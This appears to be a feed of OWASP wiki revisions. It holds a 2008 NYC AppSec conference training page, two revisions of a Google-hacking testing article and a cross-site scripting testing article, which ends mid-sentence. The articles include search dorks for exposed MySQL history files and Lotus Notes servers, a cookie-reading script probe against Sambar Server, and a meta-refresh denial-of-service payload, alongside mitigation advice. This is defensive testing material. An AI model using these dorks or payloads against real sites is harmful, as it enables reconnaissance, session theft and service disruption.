&amp;lt;center&amp;gt;[http://guest.cvent.com/i.aspx?4W,M3,828ca6d1-1b60-4105-8034-d344700e6956 http://www.owasp.org/images/7/7f/Register.gif]&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Technology Pavilion - September 24th and 25th  ==&lt;br /&gt;
&lt;br /&gt;
Want to see the latest offerings from technology product and service firms, visit the Technology Pavilion. On September 24th and 25th. 2 full days of exhibits by service providers and manufacturers from around the world.&lt;br /&gt;
&lt;br /&gt;
Do you want to preview the event space [http://www.flickr.com/photos/21550725@N04/sets/72157604662279903/detail Click Here]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;hr&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== [http://www.owasp.org/index.php/Category:OWASP_AppSec_Conference_Training OWASP NYC AppSec 2008 Training Courses - September 22nd and 23rd, 2008] ==&lt;br /&gt;
{| style=&amp;quot;width:80%&amp;quot; border=&amp;quot;0&amp;quot; align=&amp;quot;center&amp;quot;&lt;br /&gt;
 ! align=&amp;quot;center&amp;quot; style=&amp;quot;background:#4058A0; color:white&amp;quot; | T1. Defensive Programming - 2-Days - $1350&lt;br /&gt;
 |-&lt;br /&gt;
 | style=&amp;quot;background:#F2F2F2&amp;quot; | This class will teach you how to program defensively. A must for developers, managers, testers and security professionals. Learn the latest techniques to build attack resistant code, protect from current and future vulnerabilities and how to secure an application from both implementation bugs and design flaws. The instructor Pravir Chandra is well known security expert, project lead for OWASP CLASP project and former co-founder &amp;amp; CTO of secure software [[:Category:OWASP_AppSec_Conference_Training | Learn More Here]]&lt;br /&gt;
&lt;br /&gt;
Instructor: Jason Rouse, Sr. Consultant, [http://www.cigital.com/training/series http://www.owasp.org/images/b/be/Cigital_OWASP.GIF]''' &lt;br /&gt;
 |-&lt;br /&gt;
{| style=&amp;quot;width:80%&amp;quot; border=&amp;quot;0&amp;quot; align=&amp;quot;center&amp;quot;&lt;br /&gt;
! align=&amp;quot;center&amp;quot; style=&amp;quot;background:#4058A0; color:white&amp;quot; | T2. Secure Coding for Java EE - 2-Days - $1350&lt;br /&gt;
 |-&lt;br /&gt;
 | style=&amp;quot;background:#F2F2F2&amp;quot; | This course is similar to Aspect's Building and Testing Secure Web Applications except it includes a significant amount of Java focused content, including:&lt;br /&gt;
# Java EE security overview,&lt;br /&gt;
# All coding examples and recommendations are specifically focused on Java and Java servers, and&lt;br /&gt;
# 3 additional hands on coding labs where the students find and then fix security vulnerabilities in a Java EE application developed for the class.&lt;br /&gt;
&lt;br /&gt;
[[:Category:OWASP_AppSec_Conference_Training | Learn More Here]]&lt;br /&gt;
&lt;br /&gt;
Instructor: This tutorial is provided by longtime OWASP contributor: [http://www.aspectsecurity.com http://www.owasp.org/images/d/d1/Aspect_logo.gif]&lt;br /&gt;
'''&lt;br /&gt;
 |-&lt;br /&gt;
 ! align=&amp;quot;center&amp;quot; style=&amp;quot;background:#4058A0; color:white&amp;quot; | T3. Web Services and XML Security - 2-Days - $1350&lt;br /&gt;
 |-&lt;br /&gt;
 | style=&amp;quot;background:#F2F2F2&amp;quot; | The movement towards Web Services and Service Oriented architecture (SOA) paradigms requires new security paradigms to deal with new risks posed by these architectures. This session takes a pragmatic approach towards identifying Web Services security risks and selecting and applying countermeasures to the application, code, web servers, databases, application, and identity servers and related software. [[:Category:OWASP_AppSec_Conference_Training | Learn More Here]]&lt;br /&gt;
&lt;br /&gt;
Instructor: Gunnar Peterson''' [http://www.arctecgroup.net https://www.owasp.org/images/b/bf/Arctec.jpg]&lt;br /&gt;
 |-&lt;br /&gt;
 ! align=&amp;quot;center&amp;quot; style=&amp;quot;background:#4058A0; color:white&amp;quot; | T4. Advanced Web Application Security Testing - 2-Days - $1350&lt;br /&gt;
 |-&lt;br /&gt;
 | style=&amp;quot;background:#F2F2F2&amp;quot; | Course Overview While all developers need to know the basics of web application security testing, application security specialists will want to know all the advanced techniques for finding and diagnosing security problems in applications. Aspect’s Advanced Web Application Security Testing training is based on a decade of work verifying the security of critical applications. The course is taught by an experienced application security practitioner in an interactive manner. [[:Category:OWASP_AppSec_Conference_Training | Learn More Here]]&lt;br /&gt;
&lt;br /&gt;
Instructor: This tutorial is provided by longtime OWASP contributor: [http://www.aspectsecurity.com http://www.owasp.org/images/d/d1/Aspect_logo.gif]'''&lt;br /&gt;
 |-&lt;br /&gt;
 ! align=&amp;quot;center&amp;quot; style=&amp;quot;background:#4058A0; color:white&amp;quot; | T5. Leading the Development of Secure Applications 1-Day - Sept 22nd- $675&lt;br /&gt;
 |-&lt;br /&gt;
 | style=&amp;quot;background:#F2F2F2&amp;quot; |  In this one-day management session you’ll get the answers to the ten key questions that most CIOs and development managers face when trying to improve security in the development process.  The course provides proven techniques and valuable lessons learned that can be applied to projects at any phase of their application’s lifecycle. [[:Category:OWASP_AppSec_Conference_Training | Learn More Here]]&lt;br /&gt;
Instructor: This tutorial is provided by longtime OWASP contributor: [http://www.aspectsecurity.com http://www.owasp.org/images/d/d1/Aspect_logo.gif]'''&lt;br /&gt;
 |-&lt;br /&gt;
 ! align=&amp;quot;center&amp;quot; style=&amp;quot;background:#4058A0; color:white&amp;quot; | T7. Encryption Programming Using SKSML - 2-Days - $1350&lt;br /&gt;
 |-&lt;br /&gt;
 | style=&amp;quot;background:#F2F2F2&amp;quot; |  Application developers are increasingly required to protect sensitive data through encryption.  While there are many libraries that can assist with cryptography, there are few to none that focus on encryption key management.&lt;br /&gt;
&lt;br /&gt;
This class will introduce you to an OASIS standards protocol - Symmetric Key Services Markup Language (SKSML) - and show you how it can be used to securely encrypt sensitive data and manage encryption keys across the enterprise. [[:Category:OWASP_AppSec_Conference_Training | Learn More Here]]&lt;br /&gt;
&lt;br /&gt;
Instructor: Arshad Noor, CTO, StrongAuth Inc.''' [http://www.strongauth.com https://www.owasp.org/images/8/86/StrongAuth.jpg]&lt;br /&gt;
|-&lt;br /&gt;
 {| style=&amp;quot;width:80%&amp;quot; border=&amp;quot;0&amp;quot; align=&amp;quot;center&amp;quot;&lt;br /&gt;
 ! align=&amp;quot;center&amp;quot; style=&amp;quot;background:#4058A0; color:white&amp;quot; | T8. Writing Secure Code  ASP.NET - 2-Days - $1350&lt;br /&gt;
 |-&lt;br /&gt;
 | style=&amp;quot;background:#F2F2F2&amp;quot; | Understand the key security features of the .NET platform, the common web security pitfalls developers make, and how to build secure and reliable web applications using ASP.NET. Students are lead through hands on code examples that highlight issues and prescribe solutions. [[:Category:OWASP_AppSec_Conference_Training | Learn More Here]]&lt;br /&gt;
&lt;br /&gt;
The instructors are Foundstone's Technical Director, Rudolph Araujo and Foundstone's Professional Services Conlultant, Alex Smolen. [http://www.foundstone.com/us/education-overview.asp https://www.owasp.org/images/2/26/Foundstone.jpg]&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;center&amp;gt;[http://guest.cvent.com/i.aspx?4W,M3,828ca6d1-1b60-4105-8034-d344700e6956 https://www.owasp.org/images/7/7f/Register.gif]&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt; HOTELS / TRAVEL &amp;lt;/h2&amp;gt;&lt;br /&gt;
[http://maps.google.com/maps?near=Pace+Plz,+New+York,+NY+10038+(Pace+University+New+York+Cmps)&amp;amp;geocode=15467452012610799558,40.711640,-74.005820&amp;amp;q=hotel&amp;amp;f=l&amp;amp;dq=Pace+University-New+York&amp;amp;ie=UTF8&amp;amp;z=15&amp;amp;om=0 Hotels in the area of the event]&lt;br /&gt;
&lt;br /&gt;
New York City MTA: http://www.mta.nyc.ny.us/nyct/index.html&lt;br /&gt;
&lt;br /&gt;
New York City Subway &amp;amp; walking directions: http://www.hopstop.com/?city=newyork&lt;br /&gt;
&lt;br /&gt;
New York Sights &amp;amp; Sounds - SightsSounds&lt;br /&gt;
&lt;br /&gt;
New York City Travel Guide - http://www.nytoday.com/&lt;br /&gt;
&lt;br /&gt;
New York City Attractions - http://www.nycvisit.com&lt;br /&gt;
&lt;br /&gt;
New York TV Show Tickets - Get free tickets to TV shows! - http://www.nytix.com/&lt;br /&gt;
&lt;br /&gt;
New York City local news: http://www.ny1news.com&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt;EVENT SPONSORSHIP &amp;lt;/h2&amp;gt;The OWASP Conferences &amp;amp; Training security technologists including CSOs,admins, application admins, MIS directors, homeland defense chiefs. These important influencers drive buying decisions exclusive access to its audiences. OWASP has established strategic relationships with security—print publications, newsletters, portals, consultants,message—and leadership positioning OWASP events. OWASP’s mission is supported by organizations who share our application, and software security communities. This approach should be part of your mix.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;[https://www.owasp.org/images/6/66/NY_Sponsorship_Form_update_%282%29.pdf Sponsorship Opportunities]- Register online: [http://guest.cvent.com/i.aspx?4W,M3,09e3b490-ba93-4474-851e-be803b1a01c2 click here]&amp;lt;/b&amp;gt;&lt;/div&gt;</summary>
		<author><name>TomRyan</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing:_Spidering_and_googling&amp;diff=13861</id>
		<title>Testing: Spidering and googling</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing:_Spidering_and_googling&amp;diff=13861"/>
				<updated>2006-11-30T15:28:28Z</updated>
		
		<summary type="html">&lt;p&gt;TomRyan: /* References */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]]&amp;lt;br&amp;gt;&lt;br /&gt;
{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Web spiders are the most powerful and useful tools developed for both good and bad intentions on the Internet. A spider serves one major function, Data Mining. The way a typical spider (like Google) works is by crawling a website one page at a time and gathering and storing the relevant information such as email address, meta-tags, hidden form data, URL information, links and so much more. Then the spider crawls all the links in that page, collecting relevant information in each following page, and so on. Before you know it the spider has crawled thousands of links and pages gathering bits of information and storing into a database. This web of paths is where the term 'spider' is derived from. &lt;br /&gt;
&lt;br /&gt;
The Google search engine found at http://www.google.com offers many features, including language and document translation; web, image, newsgroups, catalog, and news searches; and more. These features offer obvious benefits to even the most uninitiated web surfer, but these same features offer far more nefarious possibilities to the most malicious Internet users, including hackers, computer criminals, identity thieves, and even terrorists. This article outlines the more harmful applications of the Google search engine, techniques that have collectively been termed &amp;quot;Google Hacking.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Description of the Issue == &lt;br /&gt;
&lt;br /&gt;
In 1992, there was about 15,000 websites, now in 2006 the number has exceeded 100 million.   What if a simply query to a search engine such as Google such as &amp;quot;Hackable Websites w/ Credit Card Information&amp;quot; produced a list of websites that contained customer credit card data of thousands of customers per company.  &lt;br /&gt;
&lt;br /&gt;
If the attacker was aware of a web application that perhaps utilized a clear text password file in a directory and wanted to gather these targets you could search on &amp;quot;intitle:&amp;quot;Index of&amp;quot; .mysql_history&amp;quot; and found on any of the 100 million websites will provide you with a list of the database usernames and passwords OR maybe the attacker has a new method to attack a Lotus Notes web server and he wants to simply see how many targets are on the Internet, he could search &amp;quot;inurl:domcfg.nsf&amp;quot;. Apply the same logic to a worm looking for its new victim.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;b&amp;gt; ADVANCED SEARCH 101 w/Google&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Use the plus sign (+) to force a search for an overly common word. Use the minus sign (-) to exclude a term from a search. No space follows these signs.&lt;br /&gt;
&lt;br /&gt;
To search for a phrase, supply the phrase surrounded by double quotes (&amp;quot; &amp;quot;).&lt;br /&gt;
&lt;br /&gt;
A period (.) serves as a single-character wildcard.&lt;br /&gt;
&lt;br /&gt;
An asterisk (*) represents any word—not the completion of a word, as is traditionally used.&lt;br /&gt;
&lt;br /&gt;
Google advanced operators help refine searches. Advanced operators use a syntax such as the following:&lt;br /&gt;
&lt;br /&gt;
operator:search_term&lt;br /&gt;
&lt;br /&gt;
Notice that there's no space between the operator, the colon, and the search term.&lt;br /&gt;
&lt;br /&gt;
The site: operator instructs Google to restrict a search to a specific web site or domain. The web site to search must be supplied after the colon.&lt;br /&gt;
&lt;br /&gt;
The filetype: operator instructs Google to search only within the text of a particular type of file. The file type to search must be supplied after the colon. Don't include a period before the file extension.&lt;br /&gt;
&lt;br /&gt;
The link: operator instructs Google to search within hyperlinks for a search term.&lt;br /&gt;
&lt;br /&gt;
The cache: operator displays the version of a web page as it appeared when Google crawled the site. The URL of the site must be supplied after the colon.&lt;br /&gt;
&lt;br /&gt;
The intitle: operator instructs Google to search for a term within the title of a document.&lt;br /&gt;
&lt;br /&gt;
The inurl: operator instructs Google to search only within the URL (web address) of a document. The search term must follow the colon.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Site Mapping&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
To find every web page Google has crawled for a specific site, use the site: operator. Consider the following query: site:http://www.owasp.org or if you wanted to see who links to the OWASP webpage you could do a link:http://www.owasp.org&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
'''Testing for Topic X vulnerabilities:''' &amp;lt;br&amp;gt;&lt;br /&gt;
Social Engineering combined with a Spider/Google search - In Progress&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
== Gray Box testing and example == &lt;br /&gt;
'''Testing for Topic X vulnerabilities:'''&amp;lt;br&amp;gt;&lt;br /&gt;
-INPROGRESS PLACEHOLDER&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
Johnny Long - http://johnny.ihackstuff.com&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
Google – http://www.google.com&amp;lt;br&amp;gt;&lt;br /&gt;
NTOInsight - http://www.ntobjectives.com/freeware/index.php&amp;lt;br&amp;gt;&lt;br /&gt;
Burp Spider - http://portswigger.net/spider/&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;/div&gt;</summary>
		<author><name>TomRyan</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing:_Spidering_and_googling&amp;diff=13860</id>
		<title>Testing: Spidering and googling</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing:_Spidering_and_googling&amp;diff=13860"/>
				<updated>2006-11-30T15:27:02Z</updated>
		
		<summary type="html">&lt;p&gt;TomRyan: /* Brief Summary */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]]&amp;lt;br&amp;gt;&lt;br /&gt;
{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Web spiders are the most powerful and useful tools developed for both good and bad intentions on the Internet. A spider serves one major function, Data Mining. The way a typical spider (like Google) works is by crawling a website one page at a time and gathering and storing the relevant information such as email address, meta-tags, hidden form data, URL information, links and so much more. Then the spider crawls all the links in that page, collecting relevant information in each following page, and so on. Before you know it the spider has crawled thousands of links and pages gathering bits of information and storing into a database. This web of paths is where the term 'spider' is derived from. &lt;br /&gt;
&lt;br /&gt;
The Google search engine found at http://www.google.com offers many features, including language and document translation; web, image, newsgroups, catalog, and news searches; and more. These features offer obvious benefits to even the most uninitiated web surfer, but these same features offer far more nefarious possibilities to the most malicious Internet users, including hackers, computer criminals, identity thieves, and even terrorists. This article outlines the more harmful applications of the Google search engine, techniques that have collectively been termed &amp;quot;Google Hacking.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Description of the Issue == &lt;br /&gt;
&lt;br /&gt;
In 1992, there was about 15,000 websites, now in 2006 the number has exceeded 100 million.   What if a simply query to a search engine such as Google such as &amp;quot;Hackable Websites w/ Credit Card Information&amp;quot; produced a list of websites that contained customer credit card data of thousands of customers per company.  &lt;br /&gt;
&lt;br /&gt;
If the attacker was aware of a web application that perhaps utilized a clear text password file in a directory and wanted to gather these targets you could search on &amp;quot;intitle:&amp;quot;Index of&amp;quot; .mysql_history&amp;quot; and found on any of the 100 million websites will provide you with a list of the database usernames and passwords OR maybe the attacker has a new method to attack a Lotus Notes web server and he wants to simply see how many targets are on the Internet, he could search &amp;quot;inurl:domcfg.nsf&amp;quot;. Apply the same logic to a worm looking for its new victim.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;b&amp;gt; ADVANCED SEARCH 101 w/Google&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Use the plus sign (+) to force a search for an overly common word. Use the minus sign (-) to exclude a term from a search. No space follows these signs.&lt;br /&gt;
&lt;br /&gt;
To search for a phrase, supply the phrase surrounded by double quotes (&amp;quot; &amp;quot;).&lt;br /&gt;
&lt;br /&gt;
A period (.) serves as a single-character wildcard.&lt;br /&gt;
&lt;br /&gt;
An asterisk (*) represents any word—not the completion of a word, as is traditionally used.&lt;br /&gt;
&lt;br /&gt;
Google advanced operators help refine searches. Advanced operators use a syntax such as the following:&lt;br /&gt;
&lt;br /&gt;
operator:search_term&lt;br /&gt;
&lt;br /&gt;
Notice that there's no space between the operator, the colon, and the search term.&lt;br /&gt;
&lt;br /&gt;
The site: operator instructs Google to restrict a search to a specific web site or domain. The web site to search must be supplied after the colon.&lt;br /&gt;
&lt;br /&gt;
The filetype: operator instructs Google to search only within the text of a particular type of file. The file type to search must be supplied after the colon. Don't include a period before the file extension.&lt;br /&gt;
&lt;br /&gt;
The link: operator instructs Google to search within hyperlinks for a search term.&lt;br /&gt;
&lt;br /&gt;
The cache: operator displays the version of a web page as it appeared when Google crawled the site. The URL of the site must be supplied after the colon.&lt;br /&gt;
&lt;br /&gt;
The intitle: operator instructs Google to search for a term within the title of a document.&lt;br /&gt;
&lt;br /&gt;
The inurl: operator instructs Google to search only within the URL (web address) of a document. The search term must follow the colon.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Site Mapping&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
To find every web page Google has crawled for a specific site, use the site: operator. Consider the following query: site:http://www.owasp.org or if you wanted to see who links to the OWASP webpage you could do a link:http://www.owasp.org&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
'''Testing for Topic X vulnerabilities:''' &amp;lt;br&amp;gt;&lt;br /&gt;
Social Engineering combined with a Spider/Google search - In Progress&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
== Gray Box testing and example == &lt;br /&gt;
'''Testing for Topic X vulnerabilities:'''&amp;lt;br&amp;gt;&lt;br /&gt;
-INPROGRESS PLACEHOLDER&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
Johnny Long - http://johnny.ihackstuff.com&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;/div&gt;</summary>
		<author><name>TomRyan</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_Cross_site_scripting&amp;diff=13664</id>
		<title>Testing for Cross site scripting</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_Cross_site_scripting&amp;diff=13664"/>
				<updated>2006-11-24T19:37:49Z</updated>
		
		<summary type="html">&lt;p&gt;TomRyan: /* Gray Box testing and example */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]]&amp;lt;br&amp;gt;&lt;br /&gt;
{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
Cross Site Scripting is one of the most common application level attacks. Many times people will look at a Cross Site Scripting (also known as XSS, CSS was avoided not to confuse people with Cascade Styling Sheets) attack and say WOW you made a JavaScript popup window, but how does this effect me?&lt;br /&gt;
&lt;br /&gt;
Cross Site Scripting vulnerabilities are essentially code injection attacks. These attacks can be carried out using HTML, JavaScript, VBScript, ActiveX, Flash and other client-side languages. These attacks also have the ability to gather data from account hijacking, changing of user settings, cookie theft/poisoning, or false advertising is possible. In some cases Cross Site Scripting vulnerabilities can even perform other functions such as scanning for other vulnerabilities and performing a Denial of Service on your web server.&lt;br /&gt;
&lt;br /&gt;
Furthermore, we will provide more detailed information about the three types of Cross Site Scripting vulnerabilities, DOM-Based, Stored and Reflected.&lt;br /&gt;
&lt;br /&gt;
== Description of the Issue ==&lt;br /&gt;
&lt;br /&gt;
Cross site scripting is an attack on the privacy of clients of a particular web site which can lead to a total breach of security when customer details are stolen or manipulated. Unlike most attacks, which involve two parties – the attacker, and the web site, or the attacker and the victim client, the CSS attack involves three parties – the attacker, a client and the web site. The goal of the CSS attack is to steal the client cookies, or any other sensitive information, which can authenticate the client to the web site. With the token of the legitimate user at hand, the attacker can proceed to act as the user in his/her interaction with the site –specifically, impersonate the user. - Identity theft!&lt;br /&gt;
&lt;br /&gt;
Online message boards, web logs, guestbooks, and user forums where messages can be permanently stored also facilitate Cross-Site Scripting attacks. In these cases, an attacker can post a message to the board with a link to a seemingly harmless site, which subtly encodes a script that attacks the user once they click the link. Attackers can use a wide-range of encoding techniques to hide or obfuscate the malicious script and, in some cases, can avoid explicit use of the &amp;lt;Script&amp;gt; tag. Typically, XSS attacks involve malicious JavaScript, but it can also involve any type of executable active content. Although the types of attacks vary in sophistication, there is a generally reliable method to detect XSS vulnerabilities.&lt;br /&gt;
Cross site scripting is used in many Phishing attacks.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The '''DOM-based Cross-Site Scripting''' problem exists within a page's client-side script itself. If the JavaScript accesses a URL request parameter (an example would be an RSS feed) and uses this information to write some HTML to its own page, and this information is not encoded using HTML entities, an XSS vulnerability will likely be present, since this written data will be re-interpreted by browsers as HTML which could include additional client-side script.&lt;br /&gt;
Exploiting such a hole would be very similar to the exploit of Reflected XSS vulnerabilities , except in one very important situation. &lt;br /&gt;
&lt;br /&gt;
An example would be, if an attacker hosts a malicious website, which contains a link to a vulnerable page on a client's local system, a script could be injected and would run with privileges of that user's browser on their system. This bypasses the entire client-side sandbox, not just the cross-domain restrictions that are normally bypassed with XSS exploits.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The '''Reflected Cross-Site Scripting''' vulnerability is bar far the most common and well know type. These holes show up when data provided by a web client is used immediately by server-side scripts to generate a page of results for that user. If unvalidated user-supplied data is included in the resulting page without HTML encoding, this will allow client-side code to be injected into the dynamic page. A classic example of this is in site search engines: if one searches for a string which includes some HTML special characters, often the search string will be redisplayed on the result page to indicate what was searched for, or will at least include the search terms in the text box for easier editing. If all occurrences of the search terms are not HTML entity encoded, an XSS hole will result.&lt;br /&gt;
&lt;br /&gt;
At first glance, this does not appear to be a serious problem since users can only inject code into their own pages. However, with a small amount of social engineering, an attacker could convince a user to follow a malicious URL which injects code into the results page, giving the attacker full access to that page's content. Due to the general requirement of the use of some social engineering in this case (and normally in DOM-Based XSS vulnerabilities as well), many programmers have disregarded these holes as not terribly important. This misconception is sometimes applied to XSS holes in general (even though this is only one type of XSS) and there is often disagreement in the security community as to the importance of cross-site scripting vulnerabilities. The simplest way to show the importance of a XSS vulnerability would be to perform a Denial of Service attack.&lt;br /&gt;
In some cases a denial of service attack can be performed on the server by doing the Following:      &lt;br /&gt;
article.php?title=&amp;lt;meta%20http-equiv=&amp;quot;refresh&amp;quot;%20content=&amp;quot;0;&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This makes a refresh request roughly about every .3 seconds to particular page. It then acts like an infinite loop of refresh requests potentially bringing down the web and database server by flooding it with requests. The more browser sessions that are open, the more intense the attack becomes. &lt;br /&gt;
&lt;br /&gt;
The '''Stored Cross Site Scripting''' vulnerability, is the most powerful kinds of  XSS attacks. A Stored XSS vulnerability exists when data provided to a web application by a user is first stored persistently on the server (in a database, filesystem, or other location), and later displayed to users in a web page without being encoded using HTML entities. A real life example of this would be SAMY, the XSS vulnerability found on MySpace in October of 2005.&lt;br /&gt;
These vulnerabilities are more significant than other types because an attacker can inject the script just once. This could potentially hit a large number of other users with little need for social engineering or the web application could even be infected by a cross-site scripting virus.&lt;br /&gt;
&lt;br /&gt;
The methods of injection can vary a great deal. A perfect example of how this type of an attack could impact an organization, instead of an individual, was demonstrated by Jeremiah Grossman @ BlackHat USA 2006. The demonstration gave an example of how if you posted a stored XSS script to a popular blog, newspaper or page comments section of a website, all the visitors of that page would have their internal networks scanned and logged for a particular type of vulnerability.&lt;br /&gt;
&lt;br /&gt;
==Black Box testing and example==&lt;br /&gt;
&lt;br /&gt;
One way to test for XSS vulnerabilities is to verify whether an application or web server will respond to requests containing simple scripts with an HTTP response that could be executed by a browser. For example, Sambar Server (version 5.3) is a popular freeware web server with known XSS vulnerabilities. Sending the server a request such as the following generates a response from the server that will be executed by a web browser:&amp;lt;BR&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''/testcgi.exe?&amp;lt;SCRIPT&amp;gt;alert(“Cookie”+document.cookie)&amp;lt;/SCRIPT&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
The script is executed by the browser because the application generates an error message containing the original script, and the browser interprets the response as an executable script originating from the server.&lt;br /&gt;
All web servers and web applications are potentially vulnerable to this type of misuse, and preventing such attacks is extremely difficult. Consider implementing the following recommendations if one or more XSS vulnerabilities have been detected in your application&lt;br /&gt;
&lt;br /&gt;
The following general recommendations can help mitigate the risk associated with Cross-Site Scripting vulnerabilities. This is a complex problem area so there is no one simple fix or solution:&lt;br /&gt;
* Ensure that your web application validates all forms, headers, cookie fields, hidden fields, and parameters, and converts scripts and script tags to a non-executable form.&lt;br /&gt;
* Ensure that any executables on your server do not return scripts in executable form when passed scripts as malformed command parameters.&lt;br /&gt;
* Consider converting JavaScript and HTML tags into alternate HTML encodings (such as “&amp;lt;” to “&amp;amp;lt;&amp;gt;.&lt;br /&gt;
* If your site runs online forums or message boards, disallow the use of HTML tags and Scripting in these areas.&lt;br /&gt;
* Keep up with the latest security vulnerabilities and bugs for all production applications and servers.&lt;br /&gt;
* Update your production servers with the latest XSS vulnerabilities by downloading current patches, and perform frequent security audits on all deployed applications.&lt;br /&gt;
The root cause of Cross-Site Scripting is a failure to filter hazardous characters from web application input and output. The two most critical programming practices you can institute to guard against Cross-Site Scripting are:&lt;br /&gt;
* Validate Input&lt;br /&gt;
* Encode output&lt;br /&gt;
Always filter data originating from outside your application by disallowing the use of special characters. Only display output to the browser that has been sufficiently encoded. When possible, avoid simple character filters and write routines that validate user input against a set of allowed, safe characters. Use regular expressions to confirm that data conforms to the allowed character set. This enhances application security and makes it harder to bypass input validation routines.&lt;br /&gt;
There are different tools you can use to validate and encode your data, depending upon your development environment. Your goal in remediating Cross-Site Scripting attacks is to filter and encode all potentially dangerous characters so that the application does not return data that the browser will interpret as executable.  Any unescaped or unecoded data that is returned to the browser is a potential security risk.&lt;br /&gt;
The following characters can be harmful and should be filtered whenever they appear in the application input or output. In output, you should translate these characters to their HTML equivalents before returning data to the browser.&amp;lt;BR&amp;gt;&lt;br /&gt;
'''&amp;gt;     &amp;lt;   (     )     [     ]     '     &amp;quot;     ;     :     /     |'''&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;PHP&amp;lt;/b&amp;gt;&lt;br /&gt;
The following PHP functions help mitigate Cross-Site Scripting Vulnerabilities:&lt;br /&gt;
* '''Strip_tags()''' removes HTML and PHP scripting tags from a string.&lt;br /&gt;
* '''Utf8_decode()''' converts UTF-8 encoding to single byte ASCII characters. Decoding Unicode input prior to filtering it can help you detect attacks that the attacker has obfuscated with Unicode encoding.&lt;br /&gt;
* '''Htmlspecialcharacters()''' turns characters such as '''&amp;amp;,&amp;gt;,&amp;lt;,”''' into their HTML equivalents. Converting special characters to HTML prevents them from being executed within browsers when outputted by an application.&lt;br /&gt;
* '''Strtr()''' filters any characters you specify. Make sure to filter  “; : ( )” characters so that attackers cannot craft strings that generate alerts. Many XSS attacks are possible without the use of HTML characters, so filtering and encoding parentheses mitigates these attacks.&amp;lt;BR&amp;gt;For example:&lt;br /&gt;
